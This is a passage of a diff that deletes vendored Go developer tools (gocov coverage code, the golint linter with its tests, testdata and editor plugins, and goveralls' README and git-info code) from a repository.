// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
package main
import (
"io/ioutil"
"os"
"os/exec"
)
func runTests(args []string) error {
coverprofile, err := ioutil.TempFile("", "gocov")
if err != nil {
return err
}
coverprofile.Close()
defer os.Remove(coverprofile.Name())
args = append([]string{
"test", "-coverprofile", coverprofile.Name(),
}, args...)
cmd := exec.Command("go", args...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stderr
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return err
}
return convertProfiles(coverprofile.Name())
}
@@ -1,138 +0,0 @@
// Copyright (c) 2012 The Gocov Authors.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
package gocov
import "testing"
func registerPackage(name string) *Package {
return &Package{Name: name}
}
func registerFunction(p *Package, name, file string, startOffset, endOffset int) *Function {
f := &Function{Name: name, File: file, Start: startOffset, End: endOffset}
p.Functions = append(p.Functions, f)
return f
}
func registerStatement(f *Function, startOffset, endOffset int) *Statement {
s := &Statement{Start: startOffset, End: endOffset}
f.Statements = append(f.Statements, s)
return s
}
func TestAccumulatePackage(t *testing.T) {
p1_1 := registerPackage("p1")
p1_2 := registerPackage("p1")
p2 := registerPackage("p2")
p3 := registerPackage("p1")
registerFunction(p3, "f", "file.go", 0, 1)
p4 := registerPackage("p1")
registerFunction(p4, "f", "file.go", 1, 2)
var tests = [...]struct {
a, b *Package
expectPass bool
}{
// Should work: everything is the same.
{p1_1, p1_2, true},
// Should fail: name is different.
{p1_1, p2, false},
// Should fail: numbers of functions are different.
{p1_1, p3, false},
// Should fail: functions are different.
{p3, p4, false},
}
for _, test := range tests {
err := test.a.Accumulate(test.b)
if test.expectPass {
if err != nil {
t.Error(err)
}
} else {
if err == nil {
t.Error("Expected an error")
}
}
}
}
func TestAccumulateFunction(t *testing.T) {
p := registerPackage("p1")
f1_1 := registerFunction(p, "f1", "file.go", 0, 1)
f1_2 := registerFunction(p, "f1", "file.go", 0, 1)
f2 := registerFunction(p, "f2", "file.go", 0, 1)
f3 := registerFunction(p, "f1", "file2.go", 0, 1)
f4 := registerFunction(p, "f1", "file.go", 2, 3)
f5 := registerFunction(p, "f1", "file.go", 0, 1)
registerStatement(f5, 0, 1)
f6 := registerFunction(p, "f1", "file.go", 0, 1)
registerStatement(f6, 2, 3)
var tests = [...]struct {
a, b *Function
expectPass bool
}{
// Should work: everything is the same.
{f1_1, f1_2, true},
// Should fail: names are different.
{f1_1, f2, false},
// Should fail: files are different.
{f1_1, f3, false},
// Should fail: ranges are different.
{f1_1, f4, false},
// Should fail: numbers of statements are different.
{f1_1, f5, false},
// Should fail: all the same, except statement values.
{f5, f6, false},
}
for _, test := range tests {
err := test.a.Accumulate(test.b)
if test.expectPass {
if err != nil {
t.Error(err)
}
} else {
if err == nil {
t.Error("Expected an error")
}
}
}
}
func TestAccumulateStatement(t *testing.T) {
p := registerPackage("p1")
f := registerFunction(p, "f1", "file.go", 0, 1)
s1_1 := registerStatement(f, 0, 1)
s1_2 := registerStatement(f, 0, 1)
s2 := registerStatement(f, 2, 3)
// Should work: ranges are the same.
if err := s1_1.Accumulate(s1_2); err != nil {
t.Error(err)
}
// Should fail: ranges are not the same.
if err := s1_1.Accumulate(s2); err == nil {
t.Errorf("Expected an error")
}
}
@@ -1,82 +0,0 @@
package gocovutil
import (
"encoding/json"
"github.com/axw/gocov"
"io/ioutil"
"os"
"sort"
)
// Packages represents a set of gocov.Package structures.
// The "AddPackage" method may be used to merge package
// coverage results into the set.
type Packages []*gocov.Package
// AddPackage adds a package's coverage information to the
func (ps *Packages) AddPackage(p *gocov.Package) {
i := sort.Search(len(*ps), func(i int) bool {
return (*ps)[i].Name >= p.Name
})
if i < len(*ps) && (*ps)[i].Name == p.Name {
(*ps)[i].Accumulate(p)
} else {
head := (*ps)[:i]
tail := append([]*gocov.Package{p}, (*ps)[i:]...)
*ps = append(head, tail...)
}
}
// ReadPackages takes a list of filenames and parses their
// contents as a Packages object.
//
// The special filename "-" may be used to indicate standard input.
// Duplicate filenames are ignored.
func ReadPackages(filenames []string) (ps Packages, err error) {
copy_ := make([]string, len(filenames))
copy(copy_, filenames)
filenames = copy_
sort.Strings(filenames)
// Eliminate duplicates.
unique := []string{filenames[0]}
if len(filenames) > 1 {
for _, f := range filenames[1:] {
if f != unique[len(unique)-1] {
unique = append(unique, f)
}
}
}
// Open files.
var files []*os.File
for _, f := range filenames {
if f == "-" {
files = append(files, os.Stdin)
} else {
file, err := os.Open(f)
if err != nil {
return nil, err
}
defer file.Close()
files = append(files, os.Stdin)
}
}
// Parse the files, accumulate Packages.
for _, file := range files {
data, err := ioutil.ReadAll(file)
if err != nil {
return nil, err
}
result := &struct{ Packages []*gocov.Package }{}
err = json.Unmarshal(data, result)
if err != nil {
return nil, err
}
for _, p := range result.Packages {
ps.AddPackage(p)
}
}
return ps, nil
}
@@ -1,59 +0,0 @@
Golint is a linter for Go source code.
To install, run
go get github.com/golang/lint/golint
Invoke golint with one or more filenames or directories.
The output of this tool is a list of suggestions in Vim quickfix format,
which is accepted by lots of different editors.
Golint differs from gofmt. Gofmt reformats Go source code, whereas
golint prints out style mistakes.
Golint differs from govet. Govet is concerned with correctness, whereas
golint is concerned with coding style. Golint is in use at Google, and it
seeks to match the accepted style of the open source Go project.
The suggestions made by golint are exactly that: suggestions.
Golint is not perfect, and has both false positives and false negatives.
Do not treat its output as a gold standard. We will not be adding pragmas
or other knobs to suppress specific warnings, so do not expect or require
code to be completely "lint-free".
In short, this tool is not, and will never be, trustworthy enough for its
suggestions to be enforced automatically, for example as part of a build process.
If you find an established style that is frequently violated, and which
you think golint could statically check, file an issue at
https://github.com/golang/lint/issues
Contributions
-------------
Contributions to this project are welcome, though please send mail before
starting work on anything major. Contributors retain their copyright, so we
need you to fill out a short form before we can accept your contribution:
https://developers.google.com/open-source/cla/individual
Vim
---
Add this to your ~/.vimrc:
set rtp+=$GOPATH/src/github.com/golang/lint/misc/vim
If you have multiple entries in your GOPATH, replace $GOPATH with the right value.
Running :Lint will run golint on the current file and populate the quickfix list.
Optionally, add this to your ~/.vimrc to automatically run golint on :w
autocmd BufWritePost,FileWritePost *.go execute 'Lint' | cwindow
Emacs
-----
Add this to your .emacs file:
(add-to-list 'load-path (concat (getenv "GOPATH") "/src/github.com/golang/lint/misc/emacs"))
(require 'golint)
If you have multiple entries in your GOPATH, replace $GOPATH with the right value.
Running M-x golint will run golint on the current file.
For more usage, see Compilation-Mode:
http://www.gnu.org/software/emacs/manual/html_node/emacs/Compilation-Mode.html
@@ -1,67 +0,0 @@
// Copyright (c) 2013 The Go Authors. All rights reserved.
//
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file or at
// https://developers.google.com/open-source/licenses/bsd.
// golint lints the Go source files named on its command line.
package main
import (
"flag"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/golang/lint"
)
var minConfidence = flag.Float64("min_confidence", 0.8, "minimum confidence of a problem to print it")
func main() {
flag.Parse()
for _, filename := range flag.Args() {
if isDir(filename) {
lintDir(filename)
} else {
lintFile(filename)
}
}
}
func isDir(filename string) bool {
fi, err := os.Stat(filename)
return err == nil && fi.IsDir()
}
func lintFile(filename string) {
src, err := ioutil.ReadFile(filename)
if err != nil {
fmt.Fprintln(os.Stderr, err)
return
}
l := new(lint.Linter)
ps, err := l.Lint(filename, src)
if err != nil {
fmt.Fprintf(os.Stderr, "%v:%v\n", filename, err)
return
}
for _, p := range ps {
if p.Confidence >= *minConfidence {
fmt.Printf("%s:%v: %s\n", filename, p.Position, p.Text)
}
}
}
func lintDir(dirname string) {
filepath.Walk(dirname, func(path string, info os.FileInfo, err error) error {
if err == nil && !info.IsDir() && strings.HasSuffix(path, ".go") {
lintFile(path)
}
return err
})
}
File diff suppressed because it is too large. Load diff
@@ -1,197 +0,0 @@
// Copyright (c) 2013 The Go Authors. All rights reserved.
//
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file or at
// https://developers.google.com/open-source/licenses/bsd.
package lint
import (
"bytes"
"flag"
"go/parser"
"go/printer"
"go/token"
"io/ioutil"
"path"
"regexp"
"strings"
"testing"
)
var lintMatch = flag.String("lint.match", "", "restrict testdata matches to this pattern")
func TestAll(t *testing.T) {
l := new(Linter)
rx, err := regexp.Compile(*lintMatch)
if err != nil {
t.Fatalf("Bad -lint.match value %q: %v", *lintMatch, err)
}
baseDir := "testdata"
fis, err := ioutil.ReadDir(baseDir)
if err != nil {
t.Fatalf("ioutil.ReadDir: %v", err)
}
if len(fis) == 0 {
t.Fatalf("no files in %v", baseDir)
}
for _, fi := range fis {
if !rx.MatchString(fi.Name()) {
continue
}
//t.Logf("Testing %s", fi.Name())
src, err := ioutil.ReadFile(path.Join(baseDir, fi.Name()))
if err != nil {
t.Fatalf("Failed reading %s: %v", fi.Name(), err)
}
ins := parseInstructions(t, fi.Name(), src)
if ins == nil {
t.Errorf("Test file %v does not have instructions", fi.Name())
continue
}
ps, err := l.Lint(fi.Name(), src)
if err != nil {
t.Errorf("Linting %s: %v", fi.Name(), err)
continue
}
for _, in := range ins {
ok := false
for i, p := range ps {
if p.Position.Line != in.Line {
continue
}
if in.Match.MatchString(p.Text) {
// remove this problem from ps
copy(ps[i:], ps[i+1:])
ps = ps[:len(ps)-1]
//t.Logf("/%v/ matched at %s:%d", in.Match, fi.Name(), in.Line)
ok = true
break
}
}
if !ok {
t.Errorf("Lint failed at %s:%d; /%v/ did not match", fi.Name(), in.Line, in.Match)
}
}
for _, p := range ps {
t.Errorf("Unexpected problem at %s:%d: %v", fi.Name(), p.Position.Line, p.Text)
}
}
}
type instruction struct {
Line int // the line number this applies to
Match *regexp.Regexp // what pattern to match
}
// parseInstructions parses instructions from the comments in a Go source file.
// It returns nil if none were parsed.
func parseInstructions(t *testing.T, filename string, src []byte) []instruction {
fset := token.NewFileSet()
f, err := parser.ParseFile(fset, filename, src, parser.ParseComments)
if err != nil {
t.Fatalf("Test file %v does not parse: %v", filename, err)
}
var ins []instruction
for _, cg := range f.Comments {
ln := fset.Position(cg.Pos()).Line
raw := cg.Text()
for _, line := range strings.Split(raw, "\n") {
if line == "" || strings.HasPrefix(line, "#") {
continue
}
if line == "OK" && ins == nil {
// so our return value will be non-nil
ins = make([]instruction, 0)
continue
}
if strings.Contains(line, "MATCH") {
a, b := strings.Index(line, "/"), strings.LastIndex(line, "/")
if a == -1 || a == b {
t.Fatalf("Malformed match instruction %q at %v:%d", line, filename, ln)
}
pat := line[a+1 : b]
rx, err := regexp.Compile(pat)
if err != nil {
t.Fatalf("Bad match pattern %q at %v:%d: %v", pat, filename, ln, err)
}
ins = append(ins, instruction{
Line: ln,
Match: rx,
})
}
}
}
return ins
}
func render(fset *token.FileSet, x interface{}) string {
var buf bytes.Buffer
if err := printer.Fprint(&buf, fset, x); err != nil {
panic(err)
}
return buf.String()
}
func TestLine(t *testing.T) {
tests := []struct {
src string
offset int
want string
}{
{"single line file", 5, "single line file"},
{"single line file with newline\n", 5, "single line file with newline\n"},
{"first\nsecond\nthird\n", 2, "first\n"},
{"first\nsecond\nthird\n", 9, "second\n"},
{"first\nsecond\nthird\n", 14, "third\n"},
{"first\nsecond\nthird with no newline", 16, "third with no newline"},
{"first byte\n", 0, "first byte\n"},
}
for _, test := range tests {
got := srcLine([]byte(test.src), token.Position{Offset: test.offset})
if got != test.want {
t.Errorf("srcLine(%q, offset=%d) = %q, want %q", test.src, test.offset, got, test.want)
}
}
}
func TestLintName(t *testing.T) {
tests := []struct {
name, want string
}{
{"foo_bar", "fooBar"},
{"foo_bar_baz", "fooBarBaz"},
{"Foo_bar", "FooBar"},
{"foo_WiFi", "fooWiFi"},
{"id", "id"},
{"Id", "ID"},
{"foo_id", "fooID"},
{"fooId", "fooID"},
{"fooUid", "fooUID"},
{"idFoo", "idFoo"},
{"uidFoo", "uidFoo"},
{"midIdDle", "midIDDle"},
{"APIProxy", "APIProxy"},
{"ApiProxy", "APIProxy"},
{"apiProxy", "apiProxy"},
{"_Leading", "_Leading"},
{"___Leading", "_Leading"},
{"trailing_", "trailing"},
{"trailing___", "trailing"},
{"a_b", "aB"},
{"a__b", "aB"},
{"a___b", "aB"},
{"Rpc1150", "RPC1150"},
}
for _, test := range tests {
got := lintName(test.name)
if got != test.want {
t.Errorf("lintName(%q) = %q, want %q", test.name, got, test.want)
}
}
}
@@ -1,51 +0,0 @@
;;; golint.el --- lint for the Go source code
;; Copyright 2013 The Go Authors. All rights reserved.
;; Use of this source code is governed by a BSD-style
;; license that can be found in the LICENSE file.
;; URL: https://github.com/golang/lint
;;; Commentary:
;; To install golint, add the following lines to your .emacs file:
;; (add-to-list 'load-path "PATH CONTAINING golint.el" t)
;; (require 'golint)
;;
;; After this, type M-x golint on Go source code.
;;
;; Usage:
;; C-x `
;; Jump directly to the line in your code which caused the first message.
;;
;; For more usage, see Compilation-Mode:
;; http://www.gnu.org/software/emacs/manual/html_node/emacs/Compilation-Mode.html
;;; Code:
(require 'compile)
(defun go-lint-buffer-name (mode)
"*Golint*")
(defun golint-process-setup ()
"Setup compilation variables and buffer for `golint'."
(run-hooks 'golint-setup-hook))
(define-compilation-mode golint-mode "golint"
"Golint is a linter for Go source code."
(set (make-local-variable 'compilation-scroll-output) nil)
(set (make-local-variable 'compilation-disable-input) t)
(set (make-local-variable 'compilation-process-setup-function)
'golint-process-setup)
)
;;;###autoload
(defun golint ()
"Run golint on the current file and populate the fix list. Pressing C-x ` will jump directly to the line in your code which caused the first message."
(interactive)
(compilation-start (concat "golint " buffer-file-name)
'golint-mode))
(provide 'golint)
;;; golint.el ends here
@@ -1,31 +0,0 @@
" Copyright 2013 The Go Authors. All rights reserved.
" Use of this source code is governed by a BSD-style
" license that can be found in the LICENSE file.
"
" lint.vim: Vim command to lint Go files with golint.
"
" https://github.com/golang/lint
"
" This filetype plugin add a new commands for go buffers:
"
" :Lint
"
" Run golint for the current Go file.
"
if exists("b:did_ftplugin_go_lint")
finish
endif
if !executable("golint")
finish
endif
command! -buffer Lint call s:GoLint()
function! s:GoLint() abort
cexpr system('golint ' . shellescape(expand('%')))
endfunction
let b:did_ftplugin_go_lint = 1
" vim:ts=4:sw=4:et
@@ -1,34 +0,0 @@
// Test that exported names have correct comments.
// Package pkg does something.
package pkg
import "time"
type T int // MATCH /exported type T.*should.*comment.*or.*unexport/
func (T) F() {} // MATCH /exported method T\.F.*should.*comment.*or.*unexport/
// this is a nice type.
// MATCH /comment.*exported type U.*should.*form.*"U ..."/
type U string
// this is a neat function.
// MATCH /comment.*exported method U\.G.*should.*form.*"G ..."/
func (U) G() {}
// A V is a string.
type V string
// V.H has a pointer receiver
func (*V) H() {} // MATCH /exported method V\.H.*should.*comment.*or.*unexport/
var W = "foo" // MATCH /exported var W.*should.*comment.*or.*unexport/
const X = "bar" // MATCH /exported const X.*should.*comment.*or.*unexport/
var Y, Z int // MATCH /exported var Z.*own declaration/
// Location should be okay, since the other var name is an underscore.
var Location, _ = time.LoadLocation("Europe/Istanbul") // not Constantinople
@@ -1,17 +0,0 @@
// This file ends in _test.go, so we should not warn about doc comments.
// OK
package pkg
import "testing"
type H int
func TestSomething(t *testing.T) {
}
func TestSomething_suffix(t *testing.T) {
}
func ExampleBuffer_reader() {
}
@@ -1,33 +0,0 @@
// Test that blank imports in library packages are flagged.
// Package foo ...
package foo
// The instructions need to go before the imports below so they will not be
// mistaken for documentation.
/* MATCH /blank import/ */ import _ "encoding/json"
import (
"fmt"
/* MATCH /blank import/ */ _ "os"
/* MATCH /blank import/ */ _ "net/http"
_ "path"
)
import _ "encoding/base64" // Don't gripe about this
import (
// Don't gripe about these next two lines.
_ "compress/zlib"
_ "syscall"
/* MATCH /blank import/ */ _ "path/filepath"
)
import (
"go/ast"
_ "go/scanner" // Don't gripe about this or the following line.
_ "go/token"
)
@@ -1,20 +0,0 @@
// Test that blank imports in test packages are not flagged.
// OK
// Package foo ...
package foo
// These are essentially the same imports as in the "library" package, but
// these should not trigger the warning because this is a test.
import _ "encoding/json"
import (
"fmt"
"testing"
_ "os"
_ "net/http"
_ "path"
)
@@ -1,12 +0,0 @@
// Test that blank imports in package main are not flagged.
// OK
// Binary foo ...
package main
import _ "fmt"
import (
"os"
_ "path"
)
@@ -1,16 +0,0 @@
// Test that we don't nag for comments on common methods.
// OK
// Package pkg ...
package pkg
import "net/http"
// T is ...
type T int
func (T) Error() string { return "" }
func (T) String() string { return "" }
func (T) ServeHTTP(w http.ResponseWriter, r *http.Request) {}
func (T) Read(p []byte) (n int, err error) { return 0, nil }
func (T) Write(p []byte) (n int, err error) { return 0, nil }
@@ -1,36 +0,0 @@
// Test for docs in const blocks
// Package foo ...
package foo
const (
// Prefix for something.
// MATCH /InlineWhatever.*form/
InlineWhatever = "blah"
Whatsit = "missing_comment" // MATCH /Whatsit.*should have comment.*block/
// We should only warn once per block for missing comments,
// but always complain about malformed comments.
WhosYourDaddy = "another_missing_one"
// Something
// MATCH /WhatDoesHeDo.*form/
WhatDoesHeDo = "it's not a tumor!"
)
// These shouldn't need doc comments.
const (
Alpha = "a"
Beta = "b"
Gamma = "g"
)
// The comment on the previous const block shouldn't flow through to here.
const UndocAgain = 6 // MATCH /UndocAgain.*should have comment/
const (
SomeUndocumented = 7 // MATCH /SomeUndocumented.*should have comment.*block/
)
@@ -1,18 +0,0 @@
// Test of return+else warning; should not trigger on multi-branch if/else.
// OK
// Package pkg ...
package pkg
import "log"
func f(x int) bool {
if x == 0 {
log.Print("x is zero")
} else if x > 0 {
return true
} else {
log.Printf("non-positive x: %d", x)
}
return false
}
@@ -1,23 +0,0 @@
// Test of return+else warning.
// Package pkg ...
package pkg
import "log"
func f(x int) bool {
if x > 0 {
return true
} else { // MATCH /if.*return.*else.*outdent/
log.Printf("non-positive x: %d", x)
}
return false
}
func g(f func() bool) string {
if ok := f(); ok {
return "it's okay"
} else { // MATCH /if.*return.*else.*outdent.*short.*var.*declaration/
return "it's NOT okay!"
}
}
@@ -1,22 +0,0 @@
// Test for not using fmt.Errorf.
// Package foo ...
package foo
import (
"errors"
"fmt"
)
func f(x int) error {
if x > 10 {
return errors.New(fmt.Sprintf("something %d", x)) // MATCH /should replace.*errors\.New\(fmt\.Sprintf\(\.\.\.\)\).*fmt\.Errorf\(\.\.\.\)/
}
if x > 5 {
return errors.New(g("blah")) // ok
}
if x > 4 {
return errors.New("something else") // ok
}
return nil
}
@@ -1,35 +0,0 @@
// Test for naming errors.
// Package foo ...
package foo
import (
"errors"
"fmt"
)
var unexp = errors.New("some unexported error") // MATCH /error var.*unexp.*errFoo/
// Exp ...
var Exp = errors.New("some exported error") // MATCH /error var.*Exp.*ErrFoo/
var (
e1 = fmt.Errorf("blah %d", 4) // MATCH /error var.*e1.*errFoo/
// E2 ...
E2 = fmt.Errorf("blah %d", 5) // MATCH /error var.*E2.*ErrFoo/
)
func f() {
var whatever = errors.New("ok") // ok
}
// Check for the error strings themselves.
func g(x int) error {
if x < 1 {
return fmt.Errorf("This %d is too low", x) // MATCH /error strings.*not be capitalized/
} else if x == 0 {
return fmt.Errorf("XML time") // ok
}
return errors.New(`too much stuff.`) // MATCH /error strings.*not end with punctuation/
}
@@ -1,6 +0,0 @@
// Test that dot imports are flagged.
// Package pkg ...
package pkg
import . "fmt" // MATCH /dot import/
@@ -1,14 +0,0 @@
// Test for use of x++ and x--.
// Package pkg ...
package pkg
func addOne(x int) int {
x += 1 // MATCH /x\+\+/
return x
}
func subOneInLoop(y int) {
for ; y > 0; y -= 1 { // MATCH /y--/
}
}
@@ -1,10 +0,0 @@
// Test for pointless make() calls.
// Package pkg ...
package pkg
func f() {
x := make([]T, 0) // MATCH /var x \[\]T/
y := make([]somepkg.Foo_Bar, 0) // MATCH /var y \[\]somepkg.Foo_Bar/
z = make([]T, 0) // ok, because we don't know where z is declared
}
@@ -1,54 +0,0 @@
// Test for name linting.
// Package pkg_with_underscores ...
package pkg_with_underscores // MATCH /underscore.*package name/
var var_name int // MATCH /underscore.*var.*var_name/
type t_wow struct { // MATCH /underscore.*type.*t_wow/
x_damn int // MATCH /underscore.*field.*x_damn/
Url *url.URL // MATCH /struct field.*Url.*URL/
}
const fooId = "blah" // MATCH /fooId.*fooID/
func f_it() { // MATCH /underscore.*func.*f_it/
more_underscore := 4 // MATCH /underscore.*var.*more_underscore/
if isEof := (err == io.EOF); isEof { // MATCH /var.*isEof.*isEOF/
more_underscore = 7 // should be okay
}
x := foo_proto.Blah{} // should be okay
for _, theIp := range ips { // MATCH /range var.*theIp.*theIP/
}
switch myJson := g(); { // MATCH /var.*myJson.*myJSON/
}
switch tApi := x.(type) { // MATCH /var.*tApi.*tAPI/
}
select {
case qId := <-c: // MATCH /var.*qId.*qID/
}
}
// Common styles in other languages that don't belong in Go.
const (
CPP_CONST = 1 // MATCH /ALL_CAPS.*CamelCase/
kLeadingKay = 2 // MATCH /k.*leadingKay/
HTML = 3 // okay; no underscore
X509B = 4 // ditto
)
func f(bad_name int) {} // MATCH /underscore.*func parameter.*bad_name/
func g() (no_way int) {} // MATCH /underscore.*func result.*no_way/
func (t *t_wow) f(more_under string) {} // MATCH /underscore.*method parameter.*more_under/
func (t *t_wow) g() (still_more string) {} // MATCH /underscore.*method result.*still_more/
type i interface {
CheckHtml() string // okay; interface method names are often constrained by the concrete types' method names
F(foo_bar int) // MATCH /foo_bar.*fooBar/
}
@@ -1,3 +0,0 @@
// Test of missing package comment.
package foo // MATCH /should.*package comment.*unless/
@@ -1,5 +0,0 @@
// Test of package comment in an incorrect form.
// Some random package doc that isn't in the right form.
// MATCH /package comment should.*form.*"Package testdata .*"/
package testdata
@@ -1,7 +0,0 @@
// Test of block package comment.
// OK
/*
Package foo is pretty sweet.
*/
package foo
@@ -1,7 +0,0 @@
// Test of block package comment with leading space.
/*
Package foo is pretty sweet.
MATCH /package comment.*leading space/
*/
package foo
@@ -1,5 +0,0 @@
// Test of package comment for package main.
// OK
// This binary does something awesome.
package main
@@ -1,27 +0,0 @@
// Test for range construction.
// Package foo ...
package foo
func f() {
// with :=
for x, _ := range m { // MATCH /should omit 2nd value.*range.*equivalent.*for x := range/
}
// with =
for y, _ = range m { // MATCH /should omit 2nd value.*range.*equivalent.*for y = range/
}
// all OK:
for x := range m {
}
for x, y := range m {
}
for _, y := range m {
}
for x = range m {
}
for x, y = range m {
}
for _, y = range m {
}
}
@@ -1,38 +0,0 @@
// Test for bad receiver names.
// Package foo ...
package foo
type foo struct{}
func (this foo) f1() { // MATCH /should be a reflection of its identity/
}
func (self foo) f2() { // MATCH /should be a reflection of its identity/
}
func (f foo) f3() {
}
func (foo) f4() {
}
type bar struct{}
func (b bar) f1() {
}
func (b bar) f2() {
}
func (a bar) f3() { // MATCH /receiver name a should be consistent with previous receiver name b for bar/
}
func (a *bar) f4() { // MATCH /receiver name a should be consistent with previous receiver name b for bar/
}
func (b *bar) f5() {
}
func (bar) f6() {
}
@@ -1,20 +0,0 @@
// Test that we don't ask for comments on sort.Interface methods.
// Package pkg ...
package pkg
// T is ...
type T []int
// Len by itself should get documented.
func (t T) Len() int { return len(t) } // MATCH /exported method T\.Len.*should.*comment/
// U is ...
type U []int
func (u U) Len() int { return len(u) }
func (u U) Less(i, j int) bool { return u[i] < u[j] }
func (u U) Swap(i, j int) { u[i], u[j] = u[j], u[i] }
func (u U) Other() {} // MATCH /exported method U\.Other.*should.*comment/
@@ -1,48 +0,0 @@
// Test for redundant type declaration.
// Package foo ...
package foo
import "fmt"
import "net/http"
var mux *http.ServeMux = http.NewServeMux() // MATCH /should.*\*http\.ServeMux.*inferred/
var myInt int = 7 // MATCH /should.*int.*myInt.*inferred/
var myZeroInt int = 0 // MATCH /should.*= 0.*myZeroInt.*zero value/
var myZeroFlt float32 = 0. // MATCH /should.*= 0\..*myZeroFlt.*zero value/
var myZeroF64 float64 = 0.0 // MATCH /should.*= 0\..*myZeroF64.*zero value/
var myZeroImg complex = 0i // MATCH /should.*= 0i.*myZeroImg.*zero value/
var myZeroStr string = "" // MATCH /should.*= "".*myZeroStr.*zero value/
var myZeroRaw string = `` // MATCH /should.*= ``.*myZeroRaw.*zero value/
var myZeroPtr *Q = nil // MATCH /should.*= nil.*myZeroPtr.*zero value/
var myZeroRune rune = '\x00' // MATCH /should.*= '\\x00'.*myZeroRune.*zero value/
var myZeroRune2 rune = '\000' // MATCH /should.*= '\\000'.*myZeroRune2.*zero value/
// No warning because there's no type on the LHS
var x = 0
// This shouldn't get a warning because there's no initial values.
var str fmt.Stringer
// No warning because this is a const.
const x uint64 = 7
// No warnings because the RHS is an ideal int, and the LHS is a different int type.
var userID int64 = 1235
var negID int64 = -1
var parenID int64 = (17)
var crazyID int64 = -(-(-(-9)))
// Same, but for strings and floats.
type stringT string
type floatT float64
var stringV stringT = "abc"
var floatV floatT = 123.45
// No warning because the LHS names an interface type.
var data interface{} = googleIPs
// No warning because it's a common idiom for interface satisfaction.
var _ Server = (*serverImpl)(nil)
@@ -1,2 +0,0 @@
*~
/goveralls
@@ -1,65 +0,0 @@
goveralls
=========
[Go](http://golang.org) integration for [Coveralls.io](http://coveralls.io)
continuous code coverage tracking system.
# Installation
`goveralls` requires a working Go installation (Go1 or higher).
```bash
$ go get github.com/mattn/goveralls
```
# Usage
First you will need an API token. It is found at the bottom of your
repository's page when you are logged in to Coveralls.io. Each repo has its
own token.
```bash
$ cd $GOPATH/src/github.com/yourusername/yourpackage
$ goveralls -repotoken your_repos_coveralls_token
```
# Continuous Integration
There is no need to run `go test` separately, as `goveralls` runs the entire
test suite.
## Travis CI
go get code.google.com/p/go.tools/cmd/cover
go get github.com/mattn/goveralls
go test -covermode=count -coverprofile=profile.cov
goveralls -coverprofile=profile.cov -service=travis-ci
## Drone.io
Store your Coveralls API token in `Enviornment Variables`:
```
COVERALLS_TOKEN=your_token_goes_here
```
Replace the `go test` line in your `Commands` with these lines:
```
go get github.com/axw/gocov/gocov
go get github.com/mattn/goveralls
goveralls -service drone.io -repotoken $COVERALLS_TOKEN
```
You can use the `-v` flag to see verbose output from the test suite:
```
goveralls -v -service drone.io -repotoken $COVERALLS_TOKEN
```
# License
under the MIT License: http://mattn.mit-license.org/2013
@@ -1,99 +0,0 @@
package main
import (
"log"
"os"
"os/exec"
"regexp"
"strings"
)
var remotesRE = regexp.MustCompile(`^(\S+)\s+(\S+)`)
// A Head object encapsulates information about the HEAD revision of a git repo.
type Head struct {
Id string `json:"id"`
AuthorName string `json:"author_name,omitempty"`
AuthorEmail string `json:"author_email,omitempty"`
CommitterName string `json:"committer_name,omitempty"`
CommitterEmail string `json:"committer_email,omitempty"`
Message string `json:"message"`
}
// A Remote object encapsulates information about a remote of a git repo.
type Remote struct {
Name string `json:"name"`
Url string `json:"url"`
}
// A Git object encapsulates information about a git repo.
type Git struct {
Head Head `json:"head"`
Branch string `json:"branch"`
Remotes []*Remote `json:"remotes,omitempty"`
}
// collectGitInfo runs several git commands to compose a Git object.
func collectGitInfo() *Git {
gitCmds := map[string][]string{
"id": {"git", "rev-parse", "HEAD"},
"branch": {"git", "rev-parse", "--abbrev-ref", "HEAD"},
"aname": {"git", "log", "-1", "--pretty=%aN"},
"aemail": {"git", "log", "-1", "--pretty=%aE"},
"cname": {"git", "log", "-1", "--pretty=%cN"},
"cemail": {"git", "log", "-1", "--pretty=%cE"},
"message": {"git", "log", "-1", "--pretty=%s"},
"remotes": {"git", "remote", "-v"},
}
results := map[string]string{}
remotes := map[string]Remote{}
gitPath, err := exec.LookPath("git")
if err != nil {
log.Fatal(err)
}
for key, args := range gitCmds {
cmd := exec.Cmd{}
cmd.Path = gitPath
cmd.Args = args
cmd.Stderr = os.Stderr
ret, err := cmd.Output()
if err != nil {
log.Fatal(err)
}
s := string(ret)
s = strings.TrimRight(s, "\n")
results[key] = s
}
for _, line := range strings.Split(results["remotes"], "\n") {
